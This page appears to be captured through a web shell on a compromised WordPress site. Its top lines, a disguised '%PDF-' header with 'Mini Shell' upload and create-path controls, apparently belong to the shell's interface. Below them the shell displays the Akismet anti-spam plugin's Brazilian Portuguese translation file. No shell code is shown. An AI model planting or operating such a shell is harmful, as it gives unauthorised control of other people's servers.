%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/fungraca.org.br/wp-content/languages/plugins/
Upload File :
Create Path :
Current File : /var/www/projetos/fungraca.org.br/wp-content/languages/plugins/akismet-pt_BR.po

# Translation of Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release) in Portuguese (Brazil)
# This file is distributed under the same license as the Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-12-16 15:01:54+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.4\n"
"Language: pt_BR\n"
"Project-Id-Version: Plugins - Akismet Anti-Spam: Spam Protection - Stable (latest release)\n"

#: views/config.php:65
msgid "Akismet is active and ready to stop spam. Your site’s spam statistics will be displayed here."
msgstr "O Akismet está ativo e pronto para acabar com o spam. As estatísticas de spam do seu site serão exibidas aqui."

#: views/notice.php:32
msgid "WP-Cron has been disabled using the DISABLE_WP_CRON constant. Comment rechecks may not work properly."
msgstr "O WP-Cron foi desativado usando a constante DISABLE_WP_CRON. As verificações de comentários podem não funcionar corretamente."

#. translators: %1$s is a human-readable time difference, like "3 hours ago",
#. and %2$s is an already-translated phrase describing how a comment's status
#. changed, like "This comment was reported as spam."
#: class.akismet-admin.php:689
msgid "%1$s - %2$s"
msgstr "%1$s - %2$s"

#: views/get.php:11
msgid "(opens in a new tab)"
msgstr "(abre em uma nova aba)"

#. translators: The placeholder is the name of a subscription level, like
#. "Plus" or "Enterprise" .
#: views/notice.php:248
msgid "Upgrade to %s"
msgstr "Fazer upgrade para %s"

#: views/notice.php:243
msgid "Upgrade your Subscription Level"
msgstr "Atualize seu nível de assinatura"

#: views/notice.php:204 views/notice.php:212 views/notice.php:220
#: views/notice.php:229
msgid "Learn more about usage limits."
msgstr "Ver mais sobre utilização de limites."

#. translators: The first placeholder is a date, the second is a (formatted)
#. number, the third is another formatted number.
#: views/notice.php:196
msgid "Since %1$s, your account made %2$s API calls, compared to your plan’s limit of %3$s."
msgstr "Desde %1$s, a sua conta fez %2$s chamadas de API, comparado com o limite do seu plano de %3$s."

#: views/notice.php:226
msgid "Your Akismet usage has been over your plan’s limit for three consecutive months. We have restricted your account for the rest of the month. Upgrade your plan so Akismet can continue blocking spam."
msgstr "Seu uso do Akismet ultrapassou o limite do seu plano por três meses consecutivos. Restringimos sua conta pelo resto do mês. Atualize seu plano para que o Akismet possa continuar bloqueando spam."

#: views/notice.php:217
msgid "Your Akismet usage is nearing your plan’s limit for the third consecutive month. We will restrict your account after you reach the limit. Upgrade your plan so Akismet can continue blocking spam."
msgstr "Seu uso do Akismet está se aproximando do limite do seu plano pelo terceiro mês consecutivo. Restringiremos sua conta depois que você atingir o limite. Atualize seu plano para que o Akismet possa continuar bloqueando spam."

#: views/notice.php:209
msgid "Your Akismet usage has been over your plan’s limit for two consecutive months. Next month, we will restrict your account after you reach the limit. Please consider upgrading your plan."
msgstr "Seu uso do Akismet ultrapassou o limite do seu plano por dois meses consecutivos. No próximo mês, iremos restringir sua conta depois que você atingir o limite. Considere atualizar seu plano."

#: views/notice.php:183
msgid "Your account has been restricted"
msgstr "Sua conta foi restringida "

#: views/notice.php:179
msgid "Your Akismet account usage is approaching your plan’s limit"
msgstr "O uso da sua conta Akismet está se aproximando do limite do seu plano"

#: views/notice.php:176
msgid "Your Akismet account usage is over your plan’s limit"
msgstr "O uso da sua conta Akismet está acima do limite do seu plano"

#. translators: The placeholder is a URL.
#: views/notice.php:128
msgid "Please enter a new key or <a href=\"%s\" target=\"_blank\">contact Akismet support</a>."
msgstr "Digite uma nova chave ou <a href=\"%s\" target=\"_blank\">entre em contato com o suporte Akismet</a>."

#: views/notice.php:121
msgid "Your API key is no longer valid."
msgstr "A sua chave API não é mais válida."

#: views/stats.php:4
msgid "Anti-Spam Settings"
msgstr "Configurações anti-spam"

#. translators: The placeholder is for showing how much of the process has
#. completed, as a percent. e.g., "Checking for Spam (40%)"
#: class.akismet-admin.php:418
msgid "Checking for Spam (%1$s%)"
msgstr "Verificando spam (%1$s%)"

#: class.akismet-admin.php:705
msgid "No comment history."
msgstr "Sem histórico de comentários."

#: class.akismet-admin.php:656
msgid "Akismet was unable to recheck this comment."
msgstr "O Akismet não pôde reavaliar este comentário."

#: class.akismet-admin.php:648
msgid "Akismet was unable to check this comment but will automatically retry later."
msgstr "O Akismet não pôde verificar este comentário, mas tentará novamente mais tarde automaticamente."

#. translators: The placeholder is a WordPress PHP function name.
#: class.akismet-admin.php:617
msgid "Comment was caught by %s."
msgstr "O comentário foi capturado por %s."

#: class.akismet.php:675
msgid "Akismet is not configured. Please enter an API key."
msgstr "O Akismet não está configurado. Digite uma chave de API."

#: views/enter.php:8
msgid "Enter your API key"
msgstr "Digite sua chave da API"

#: views/connect-jp.php:66
msgid "Set up a different account"
msgstr "Configurar uma conta diferente"

#: views/setup.php:2
msgid "Set up your Akismet account to enable spam filtering on this site."
msgstr "Configure sua conta Akismet para ativar o filtro contra spam neste site."

#: class.akismet-admin.php:1140
msgid "Akismet could not recheck your comments for spam."
msgstr "A Akismet não foi possível reavaliar seus comentários por spam."

#: class.akismet-admin.php:439
msgid "You don&#8217;t have permission to do that."
msgstr "Você não tem permissão para fazer isso."

#: class.akismet-cli.php:165
msgid "Stats response could not be decoded."
msgstr "Não foi possível decodificar a resposta de estatísticas."

#: class.akismet-cli.php:159
msgid "Currently unable to fetch stats. Please try again."
msgstr "Não foi possível coletar estatísticas. Tente novamente."

#: class.akismet-cli.php:134
msgid "API key must be set to fetch stats."
msgstr "A chave API precisa estar configurada para coletar estatísticas."

#: views/config.php:179
msgid "To help your site with transparency under privacy laws like the GDPR, Akismet can display a notice to your users under your comment forms. This feature is disabled by default, however, you can turn it on above."
msgstr "Para adequar seu site às leis de transparência e privacidade, como o GDPR, o Akismet pode mostrar um aviso para os seus usuários abaixo dos seus formulários de comentários. Este recurso é desabilitado por padrão, porém você pode habilitá-lo acima."

#: views/config.php:177
msgid "Do not display privacy notice."
msgstr "Não exibir aviso de privacidade."

#: views/config.php:176
msgid "Display a privacy notice under your comment forms."
msgstr "Exibir um aviso de privacidade abaixo do seu formulário de comentários."

#: views/config.php:175
msgid "Akismet privacy notice"
msgstr "Aviso de privacidade do Akismet"

#: views/config.php:172
msgid "Privacy"
msgstr "Privacidade"

#: class.akismet.php:1780
msgid "This site uses Akismet to reduce spam. <a href=\"%s\" target=\"_blank\" rel=\"nofollow noopener\">Learn how your comment data is processed</a>."
msgstr "Esse site utiliza o Akismet para reduzir spam. <a href=\"%s\" target=\"_blank\">Aprenda como seus dados de comentários são processados</a>."

#: class.akismet-admin.php:88
msgid "We collect information about visitors who comment on Sites that use our Akismet anti-spam service. The information we collect depends on how the User sets up Akismet for the Site, but typically includes the commenter's IP address, user agent, referrer, and Site URL (along with other information directly provided by the commenter such as their name, username, email address, and the comment itself)."
msgstr "Nós coletamos informações sobre visitantes que fazem comentários em sites que utilizam os serviços anti-spam do Akismet. Essas informações variam de acordo com a configuração dada ao Akismet naquele site, mas tipicamente inclui o endereço IP de quem comenta, nome de usuário, qual postagem e o URL do site (juntamente com outras informações fornecidas por quem comenta, como seu nome, nome de usuário, endereço de e-mail e o comentário em si)."

#: class.akismet.php:312
msgid "Comment discarded."
msgstr "Comentário descartado."

#: class.akismet-rest-api.php:174
msgid "This site's API key is hardcoded and cannot be deleted."
msgstr "A chave API deste site é codificada e não pode ser excluída."

#: class.akismet-rest-api.php:158
msgid "The value provided is not a valid and registered API key."
msgstr "O valor fornecido não corresponde à uma chave API cadastrada e válida."

#: class.akismet-rest-api.php:152
msgid "This site's API key is hardcoded and cannot be changed via the API."
msgstr "A chave API deste site é codificada e não pode ser alterada via API."

#: class.akismet-rest-api.php:71 class.akismet-rest-api.php:80
msgid "The time period for which to retrieve stats. Options: 60-days, 6-months, all"
msgstr "Período de tempo para retornar estatísticas. Opções: 60 dias, 6 meses, Tudo"

#: class.akismet-rest-api.php:56
msgid "If true, show the number of approved comments beside each comment author in the comments list page."
msgstr "Se verdadeiro, mostra o número de comentários aprovados ao lado de cada autor de comentários na página de listar comentários."

#: class.akismet-rest-api.php:51
msgid "If true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder."
msgstr "Se verdadeiro, o Akismet descartará automaticamente os spam mais óbvios ao invés de enviá-los para a pasta de spam."

#: class.akismet-rest-api.php:27 class.akismet-rest-api.php:101
#: class.akismet-rest-api.php:114 class.akismet-rest-api.php:127
msgid "A 12-character Akismet API key. Available at akismet.com/get/"
msgstr "Uma chave de API do Akismet contendo 12 caracteres. Disponível em akismet.com/get/"

#: views/notice.php:60
msgid "Your site can&#8217;t connect to the Akismet servers."
msgstr "Seu site não pôde se conectar aos servidores do Akismet."

#. translators: %s is the wp-config.php file
#: views/predefined.php:7
msgid "An Akismet API key has been defined in the %s file for this site."
msgstr "Uma chave de API Akismet foi definida no arquivo %s para este site."

#: views/predefined.php:2
msgid "Manual Configuration"
msgstr "Configuração manual"

#: class.akismet-admin.php:236
msgid "On this page, you are able to update your Akismet settings and view spam stats."
msgstr "Neste página, você poderá atualizar suas configurações do Akismet e ver as estatísticas de spam."

#: class.akismet-admin.php:114 class.akismet-admin.php:117
msgid "Akismet Anti-Spam"
msgstr "Akismet Anti-Spam"

#: views/enter.php:9
msgid "Connect with API key"
msgstr "Conectar com uma chave API"

#. translators: %s is the WordPress.com username
#: views/connect-jp.php:23 views/connect-jp.php:58
msgid "You are connected as %s."
msgstr "Você está conectado como %s."

#: views/connect-jp.php:10 views/connect-jp.php:18 views/connect-jp.php:31
#: views/connect-jp.php:53 views/connect-jp.php:65
msgid "Connect with Jetpack"
msgstr "Conectar com o Jetpack"

#: views/connect-jp.php:12 views/connect-jp.php:25 views/connect-jp.php:48
msgid "Use your Jetpack connection to set up Akismet."
msgstr "Use sua conexão com o Jetpack para configurar o Akismet."

#: views/title.php:2
msgid "Eliminate spam from your site"
msgstr "Elimine spam do seu site"

#: views/notice.php:112
msgid "Would you like to <a href=\"%s\">check pending comments</a>?"
msgstr "Gostaria de <a href=\"%s\">verificar os comentários pendentes</a>?"

#: views/notice.php:110
msgid "Akismet is now protecting your site from spam. Happy blogging!"
msgstr "Akismet agora está protegendo seu site contra spam. Poste tranquilo!"

#: views/notice.php:14 views/setup.php:3
msgid "Set up your Akismet account"
msgstr "Configure sua conta do Akismet"

#: views/config.php:34
msgid "Detailed Stats"
msgstr "Estatísticas detalhadas"

#: views/config.php:28
msgid "Statistics"
msgstr "Estatísticas"

#: class.akismet-admin.php:1244
msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started, just go to <a href=\"admin.php?page=akismet-key-config\">your Akismet Settings page</a> to set up your API key."
msgstr "Usado por milhões, Akismet é possivelmente a melhor maneira do mundo para <strong>proteger seu blog contra spam</strong>. Ele mantém seu site protegido mesmo enquanto você dorme. Para começar, vá até <a href=\"admin.php?page=akismet-key-config\">sua página de configurações do Akismet</a> para configurar sua chave API."

#: class.akismet-admin.php:1241
msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Your site is fully configured and being protected, even while you sleep."
msgstr "Usado por milhões, Akismet é possivelmente a melhor maneira do mundo para <strong>proteger seu blog contra spam</strong>. Seu site está totalmente configurado e protegido, mesmo enquanto você dorme."

#: class.akismet-admin.php:1133
msgid "%s comment was caught as spam."
msgid_plural "%s comments were caught as spam."
msgstr[0] "%s comentário foi detectado como spam."
msgstr[1] "%s comentários foram detectados como spam."

#: class.akismet-admin.php:1130
msgid "No comments were caught as spam."
msgstr "Nenhum comentário foi detectado como spam."

#: class.akismet-admin.php:1126
msgid "Akismet checked %s comment."
msgid_plural "Akismet checked %s comments."
msgstr[0] "Akismet verificou %s comentário."
msgstr[1] "Akismet verificou %s comentários."

#: class.akismet-admin.php:1123
msgid "There were no comments to check. Akismet will only check comments awaiting moderation."
msgstr "Não houve comentários para verificar. O Akismet verificará apenas os comentários que aguardam moderação."

#: class.akismet.php:681
msgid "Comment not found."
msgstr "Comentário não encontrado."

#: class.akismet-cli.php:88
msgid "%d comment could not be checked."
msgid_plural "%d comments could not be checked."
msgstr[0] "%d comentário não pode ser verificado."
msgstr[1] "%d comentários não podem ser verificados."

#: class.akismet-cli.php:85
msgid "%d comment moved to Spam."
msgid_plural "%d comments moved to Spam."
msgstr[0] "%d comentário movido para Spam."
msgstr[1] "%d comentários movidos para Spam."

#: class.akismet-cli.php:84
msgid "Processed %d comment."
msgid_plural "Processed %d comments."
msgstr[0] "Comentário %d processado"
msgstr[1] "Comentários %d processados"

#: class.akismet-cli.php:46
msgid "Comment #%d could not be checked."
msgstr "Comentário #%d não pode ser verificado."

#: class.akismet-cli.php:43
msgid "Failed to connect to Akismet."
msgstr "Falha ao conectar ao Akismet"

#: class.akismet-cli.php:39
msgid "Comment #%d is not spam."
msgstr "Comentário #%d não é spam."

#: class.akismet-cli.php:36
msgid "Comment #%d is spam."
msgstr "Comentário #%d é spam."

#: views/config.php:57
msgid "%s false positive"
msgid_plural "%s false positives"
msgstr[0] "%s falso positivo"
msgstr[1] "%s falsos positivos"

#: views/config.php:55
msgid "%s missed spam"
msgid_plural "%s missed spam"
msgstr[0] "%s spam perdido."
msgstr[1] "%s spams perdidos."

#: views/notice.php:90
msgid "You don&#8217;t have an Akismet plan."
msgstr "Você não tem um plano do Akismet."

#: views/notice.php:75
msgid "Your Akismet subscription is suspended."
msgstr "Sua assinatura do Akismet está suspensa."

#: views/notice.php:70
msgid "Your Akismet plan has been cancelled."
msgstr "Seu plano no Akismet foi cancelado."

#: views/notice.php:66
msgid "We cannot process your payment. Please <a href=\"%s\" target=\"_blank\">update your payment details</a>."
msgstr "Não conseguimos processar seu pagamento. <a href=\"%s\" target=\"_blank\">Atualize suas informações de pagamento</a>."

#: views/notice.php:65
msgid "Please update your payment information."
msgstr "Atualize suas informações de pagamento."

#: views/notice.php:17
msgid "<strong>Almost done</strong> - configure Akismet and say goodbye to spam"
msgstr "<strong>Quase pronto</strong> - configure o Akismet e diga adeus ao spam"

#: class.akismet-admin.php:1051
msgid "Akismet has saved you %d minute!"
msgid_plural "Akismet has saved you %d minutes!"
msgstr[0] "Akismet te salvou %d minuto!"
msgstr[1] "Akismet te salvou %d minutos!"

#: class.akismet-admin.php:1049
msgid "Akismet has saved you %d hour!"
msgid_plural "Akismet has saved you %d hours!"
msgstr[0] "Akismet te salvou %d hora!"
msgstr[1] "Akismet te salvou %d horas!"

#: class.akismet-admin.php:1047
msgid "Akismet has saved you %s day!"
msgid_plural "Akismet has saved you %s days!"
msgstr[0] "Akismet te salvou %s dia!"
msgstr[1] "Akismet te salvou %s dias!"

#: class.akismet-admin.php:184 class.akismet-admin.php:222
#: class.akismet-admin.php:235
msgid "Akismet filters out spam, so you can focus on more important things."
msgstr "Akismet filtra os spams, então você pode focar em coisas mais importantes."

#. translators: The placeholder is a URL.
#: views/notice.php:151
msgid "The connection to akismet.com could not be established. Please refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a> and check your server configuration."
msgstr "A conexão ao akismet.com não pôde ser estabelecida. Consulte <a href=\"%s\" target=\"_blank\">nosso guia sobre firewalls</a> e verifique as configurações do seu servidor."

#: views/notice.php:144
msgid "The API key you entered could not be verified."
msgstr "A chave API que você digitou não pôde ser verificada."

#: views/notice.php:94
msgid "Please <a href=\"%s\" target=\"_blank\">contact our support team</a> with any questions."
msgstr "Por favor, <a href=\"%s\" target=\"_blank\">contate o suporte</a> caso tenha dúvidas."

#: views/notice.php:92
msgid "In 2012, Akismet began using subscription plans for all accounts (even free ones). A plan has not been assigned to your account, and we&#8217;d appreciate it if you&#8217;d <a href=\"%s\" target=\"_blank\">sign into your account</a> and choose one."
msgstr "Em 2012, o Akismet passou a usar assinaturas para todas as contas (mesmo as gratuitas). Não foi atribuído um plano à sua conta e nós apreciaríamos se você fizesse <a href=\"%s\" target=\"_blank\">login em sua conta</a> e escolhesse um."

#: views/config.php:112
msgid "All systems functional."
msgstr "Todos os sistemas estão funcionando."

#: views/config.php:112
msgid "Enabled."
msgstr "Ativo."

#: views/config.php:109
msgid "Akismet encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly."
msgstr "O Akismet encontrou um problema com um pedido SSL anterior e foi desativado temporariamente. Ele vai começar a usar o SSL para solicitações novamente em breve."

#: views/config.php:109
msgid "Temporarily disabled."
msgstr "Temporariamente inativo."

#: views/config.php:103
msgid "Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests."
msgstr "Seu servidor Web não pode fazer solicitações SSL; entre em contato com seu servidor Web e peça para adicionarem o suporte para solicitações SSL."

#: views/config.php:103
msgid "Disabled."
msgstr "Inativo."

#: views/config.php:96
msgid "SSL Status"
msgstr "Status SSL."

#: class.akismet-admin.php:634
msgid "This comment was reported as not spam."
msgstr "Esse comentário foi relatado como não sendo spam."

#: class.akismet-admin.php:626
msgid "This comment was reported as spam."
msgstr "Esse comentário foi relatado como spam."

#. Author URI of the plugin
msgid "https://automattic.com/wordpress-plugins/"
msgstr "https://automattic.com/wordpress-plugins/"

#. Plugin URI of the plugin
msgid "https://akismet.com/"
msgstr "https://akismet.com/"

#: views/enter.php:2
msgid "Manually enter an API key"
msgstr "Digite manualmente sua chave API"

#: views/connect-jp.php:39
msgid "Contact Akismet support"
msgstr "Entre em contato com o suporte do Akismet"

#: views/connect-jp.php:45
msgid "No worries! Get in touch and we&#8217;ll sort this out."
msgstr "Não se preocupe! Entre em contato e nós vamos ajudar a resolver isso."

#. translators: %s is the WordPress.com email address
#: views/connect-jp.php:44
msgid "Your subscription for %s is suspended."
msgstr "Sua assinatura para %s está suspensa."

#. translators: %s is the WordPress.com email address
#: views/connect-jp.php:36
msgid "Your subscription for %s is cancelled."
msgstr "Sua assinatura para %s está cancelada."

#: views/notice.php:117
msgid "The key you entered is invalid. Please double-check it."
msgstr "A chave digitada é inválida. Confira novamente."

#: views/notice.php:85
msgid "There is a problem with your API key."
msgstr "Existe um problema com a sua chave API."

#: views/notice.php:81
msgid "You can help us fight spam and upgrade your account by <a href=\"%s\" target=\"_blank\">contributing a token amount</a>."
msgstr "Você pode nos ajudar a combater o spam e atualizar sua conta <a href=\"%s\" target=\"_blank\">contribuindo com um valor simbólico</a>."

#: views/notice.php:76 views/notice.php:86
msgid "Please contact <a href=\"%s\" target=\"_blank\">Akismet support</a> for assistance."
msgstr "Entre em contato com o <a href=\"%s\" target=\"_blank\">suporte do Akismet</a> para obter ajuda."

#: views/notice.php:71
msgid "Please visit your <a href=\"%s\" target=\"_blank\">Akismet account page</a> to reactivate your subscription."
msgstr "Visite sua <a href=\"%s\" target=\"_blank\">página da conta do Akismet</a> para reativar sua assinatura."

#: views/notice.php:61
msgid "Your firewall may be blocking Akismet from connecting to its API. Please contact your host and refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a>."
msgstr "Seu firewall deve estar bloqueando o Akismet de se conectar com nossa API. Entre em contato com seu provedor e consulte <a href=\"%s\" target=\"_blank\">nosso guia sobre firewalls</a>."

#: views/notice.php:56
msgid "Your web host or server administrator has disabled PHP&#8217;s <code>gethostbynamel</code> function.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet&#8217;s system requirements</a>."
msgstr "O seu provedor ou o administrador do servidor desativou as funções <code>gethostbynamel</code> do PHP. <strong>O Akismet não funcionará corretamente até isto ser corrigido.</strong> Entre em contato com seu provedor ou administrador de firewall e forneça <a href=\"%s\" target=\"_blank\">esta informação sobre os requisitos de sistema do Akismet</a>."

#: views/notice.php:55
msgid "Network functions are disabled."
msgstr "As funções de rede estão desativadas."

#. translators: the placeholder is a clickable URL that leads to more
#. information regarding an error code.
#: views/notice.php:41
msgid "For more information: %s"
msgstr "Para obter mais informações: %s"

#: views/notice.php:36
msgid "Akismet Error Code: %s"
msgstr "Código de Erro do Akismet: %s"

#: views/notice.php:24
msgid "Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later."
msgstr "Alguns comentários ainda não tiveram verificação de spam pelo Akismet. Eles foram mantidos temporariamente para moderação e serão reavaliados automaticamente depois."

#: views/notice.php:23 views/notice.php:31
msgid "Akismet has detected a problem."
msgstr "O Akismet detectou um problema."

#: views/config.php:250
msgid "Change"
msgstr "Alterar"

#: views/config.php:250
msgid "Upgrade"
msgstr "Atualizar"

#: views/config.php:239
msgid "Next Billing Date"
msgstr "Próxima data de cobrança"

#: views/config.php:233
msgid "Active"
msgstr "Ativo"

#: views/config.php:231
msgid "No Subscription Found"
msgstr "Nenhuma inscrição encontrada"

#: views/config.php:229
msgid "Missing"
msgstr "Faltando"

#: views/config.php:227
msgid "Suspended"
msgstr "Suspenso"

#: views/config.php:225
msgid "Cancelled"
msgstr "Cancelado"

#: views/config.php:193
msgid "Save Changes"
msgstr "Salvar alterações"

#: views/config.php:187
msgid "Disconnect this account"
msgstr "Sair dessa conta"

#: views/config.php:158
msgid "Spam in the <a href=\"%1$s\">spam folder</a> older than 1 day is deleted automatically."
msgid_plural "Spam in the <a href=\"%1$s\">spam folder</a> older than %2$d days is deleted automatically."
msgstr[0] "Spam na <a href=\"%1$s\">pasta de spam</a> com mais de 1 dia será excluído automaticamente."
msgstr[1] "Spams na <a href=\"%1$s\">pasta de spam</a> com mais de %2$d dias serão excluídos automaticamente."

#: views/config.php:152
msgid "Note:"
msgstr "Nota:"

#: views/config.php:150
msgid "Always put spam in the Spam folder for review."
msgstr "Sempre enviar os spams para serem revisados na pasta Spam."

#: views/config.php:149
msgid "Silently discard the worst and most pervasive spam so I never see it."
msgstr "Silenciosamente descarte os piores e mais difundidos spams sem que eu os veja"

#: views/config.php:148
msgid "Akismet anti-spam strictness"
msgstr "Rigor anti-spam do Akismet"

#: views/config.php:139
msgid "Show the number of approved comments beside each comment author"
msgstr "Exibir o número de comentários aprovados ao lado do nome do autor."

#: views/config.php:126
msgid "Show approved comments"
msgstr "Mostrar comentários aprovados"

#: views/config.php:53
msgid "Accuracy"
msgstr "Precisão"

#: views/config.php:48
msgid "All time"
msgstr "Todo o Tempo"

#: views/config.php:45 views/config.php:50
msgid "Spam blocked"
msgid_plural "Spam blocked"
msgstr[0] "Spam bloqueado"
msgstr[1] ""

#: views/config.php:43
msgid "Past six months"
msgstr "Últimos seis meses"

#: class.akismet.php:1539
msgid "Please <a href=\"%1$s\">upgrade WordPress</a> to a current version, or <a href=\"%2$s\">downgrade to version 2.4 of the Akismet plugin</a>."
msgstr "<a href=\"%1$s\">Atualize o WordPress</a> para a versão atual ou <a href=\"%2$s\">faça downgrade para a versão 2.4 do plugin Akismet</a>."

#: class.akismet.php:1539
msgid "Akismet %s requires WordPress %s or higher."
msgstr "O Akismet %s requer WordPress %s ou superior."

#: class.akismet-admin.php:641
msgid "Akismet cleared this comment during an automatic retry."
msgstr "O Akismet liberou este comentário durante uma tentativa automática."

#: class.akismet-admin.php:638
msgid "Akismet caught this comment as spam during an automatic retry."
msgstr "O Akismet pegou este comentário como spam durante uma tentativa de verificação automática."

#. translators: The placeholder is a username.
#: class.akismet-admin.php:632
msgid "%s reported this comment as not spam."
msgstr "%s relatou este comentário como não sendo spam."

#. translators: The placeholder is a username.
#: class.akismet-admin.php:624
msgid "%s reported this comment as spam."
msgstr "%s relatou este comentário como sendo spam."

#. translators: %1$s is a username; %2$s is a short string (like 'spam' or
#. 'approved') denoting the new comment status.
#: class.akismet-admin.php:671
msgid "%1$s changed the comment status to %2$s."
msgstr "%1$s mudou o status de comentário para %2$s."

#. translators: The placeholder is an error response returned by the API
#. server.
#: class.akismet-admin.php:646
msgid "Akismet was unable to check this comment (response: %s) but will automatically retry later."
msgstr "O Akismet não conseguiu verificar este comentário (resposta: %s) mas tentará automaticamente mais tarde."

#: class.akismet-admin.php:611
msgid "Akismet cleared this comment."
msgstr "Akismet liberou este comentário."

#. translators: The placeholder is a short string (like 'spam' or 'approved')
#. denoting the new comment status.
#: class.akismet-admin.php:665
msgid "Comment status was changed to %s"
msgstr "O status do comentário foi alterado para %s"

#: class.akismet-admin.php:605
msgid "Akismet caught this comment as spam."
msgstr "O Akismet capturou esse comentário como spam. "

#. translators: The placeholder is the number of pieces of spam blocked by
#. Akismet.
#: class.akismet-widget.php:108
msgid "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>"
msgid_plural "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>"
msgstr[0] "<strong class=\"count\">%1$s spam</strong> bloqueado pelo <strong>Akismet</strong>"
msgstr[1] "<strong class=\"count\">%1$s spams</strong> bloqueados pelo <strong>Akismet</strong>"

#: class.akismet-widget.php:74
msgid "Title:"
msgstr "Título:"

#: class.akismet-widget.php:69 class.akismet-widget.php:90
msgid "Spam Blocked"
msgstr "Spam bloqueado"

#: class.akismet-widget.php:13
msgid "Display the number of spam comments Akismet has caught"
msgstr "Mostrar o número de comentários spam que o Akismet pegou"

#: class.akismet-widget.php:12
msgid "Akismet Widget"
msgstr "Widget do Akismet"

#: class.akismet-admin.php:1044
msgid "Cleaning up spam takes time."
msgstr "Leva um tempo para limpar os spams."

#. translators: The Akismet configuration page URL.
#: class.akismet-admin.php:936
msgid "Please check your <a href=\"%s\">Akismet configuration</a> and contact your web host if problems persist."
msgstr "Verifique sua <a href=\"%s\">configuração do Akismet</a> e entre em contato com seu provedor se o problema persistir."

#. translators: The placeholder is an amount of time, like "7 seconds" or "3
#. days" returned by the function human_time_diff().
#: class.akismet-admin.php:685
msgid "%s ago"
msgstr "%s atrás"

#: class.akismet-admin.php:578
msgid "%s approved"
msgid_plural "%s approved"
msgstr[0] "%s aprovado"
msgstr[1] "%s aprovados"

#: class.akismet-admin.php:555
msgid "History"
msgstr "Histórico"

#: class.akismet-admin.php:555 class.akismet-admin.php:563
msgid "View comment history"
msgstr "Ver histórico de comentários"

#: class.akismet-admin.php:543
msgid "Un-spammed by %s"
msgstr "Definido que não é spam por %s"

#: class.akismet-admin.php:541
msgid "Flagged as spam by %s"
msgstr "Definido que é spam por %s"

#: class.akismet-admin.php:537
msgid "Cleared by Akismet"
msgstr "Limpo pelo Akismet"

#: class.akismet-admin.php:535
msgid "Flagged as spam by Akismet"
msgstr "Sinalizadas como spam pelo Akismet"

#: class.akismet-admin.php:531
msgid "Awaiting spam check"
msgstr "Aguardando verificação de spam"

#. translators: The placeholder is an error response returned by the API
#. server.
#: class.akismet-admin.php:654
msgid "Akismet was unable to recheck this comment (response: %s)."
msgstr "O Akismet foi incapaz de reavaliar este comentário (resposta:%s)."

#: class.akismet-admin.php:608
msgid "Akismet re-checked and cleared this comment."
msgstr "O Akismet verificou novamente e liberou esse comentário."

#: class.akismet-admin.php:602
msgid "Akismet re-checked and caught this comment as spam."
msgstr "O Akismet verificou novamente e capturou esse comentário como spam."

#: class.akismet-admin.php:424
msgid "Check for Spam"
msgstr "Conferir se há spam"

#: class.akismet-admin.php:377
msgid "There&#8217;s nothing in your <a href='%s'>spam queue</a> at the moment."
msgstr "Nenhum <a href='%s'>spam em sua caixa</a> até o momento."

#: class.akismet-admin.php:371
msgid "There&#8217;s <a href=\"%2$s\">%1$s comment</a> in your spam queue right now."
msgid_plural "There are <a href=\"%2$s\">%1$s comments</a> in your spam queue right now."
msgstr[0] "Há <a href=\"%2$s\">%1$s comentário</a> em sua caixa de spam."
msgstr[1] "Existem <a href=\"%2$s\">%1$s comentários</a> em sua caixa de spam."

#: class.akismet-admin.php:365
msgid "<a href=\"%s\">Akismet</a> blocks spam from getting to your blog. "
msgstr "<a href=\"%s\">Akismet</a> bloqueia spams no seu blog."

#: class.akismet-admin.php:359
msgid "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comment already. "
msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comments already. "
msgstr[0] "<a href=\"%1$s\">Akismet</a> protegeu seu site contra %2$s spam até o momento. "
msgstr[1] "<a href=\"%1$s\">Akismet</a> protegeu seu site contra %2$s spams até o momento. "

#: class.akismet-admin.php:349
msgid "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comment</a>."
msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comments</a>."
msgstr[0] "<a href=\"%1$s\">O Askimet</a> protegeu seu site de <a href=\"%2$s\">%3$s comentário com spam</a>."
msgstr[1] "<a href=\"%1$s\">O Askimet</a> protegeu seu site de <a href=\"%2$s\">%3$s comentários com spam</a>."

#: class.akismet-admin.php:347
msgctxt "comments"
msgid "Spam"
msgstr "Spam"

#: class.akismet-admin.php:277
msgid "Cheatin&#8217; uh?"
msgstr "Trapaceando, é?"

#: class.akismet-admin.php:271
msgid "Akismet Support"
msgstr "Suporte do Askimet"

#: class.akismet-admin.php:270
msgid "Akismet FAQ"
msgstr "Perguntas frequentes do Askimet"

#: class.akismet-admin.php:269
msgid "For more information:"
msgstr "Para mais informações:"

#: class.akismet-admin.php:260
msgid "The subscription status - active, cancelled or suspended"
msgstr "Status da assinatura - ativa, cancelada ou suspensa."

#: class.akismet-admin.php:260 views/config.php:220
msgid "Status"
msgstr "Status"

#: class.akismet-admin.php:259
msgid "The Akismet subscription plan"
msgstr "Planos de assinatura do Askimet"

#: class.akismet-admin.php:259 views/config.php:213
msgid "Subscription Type"
msgstr "Tipo de assinatura"

#: class.akismet-admin.php:256 views/config.php:205
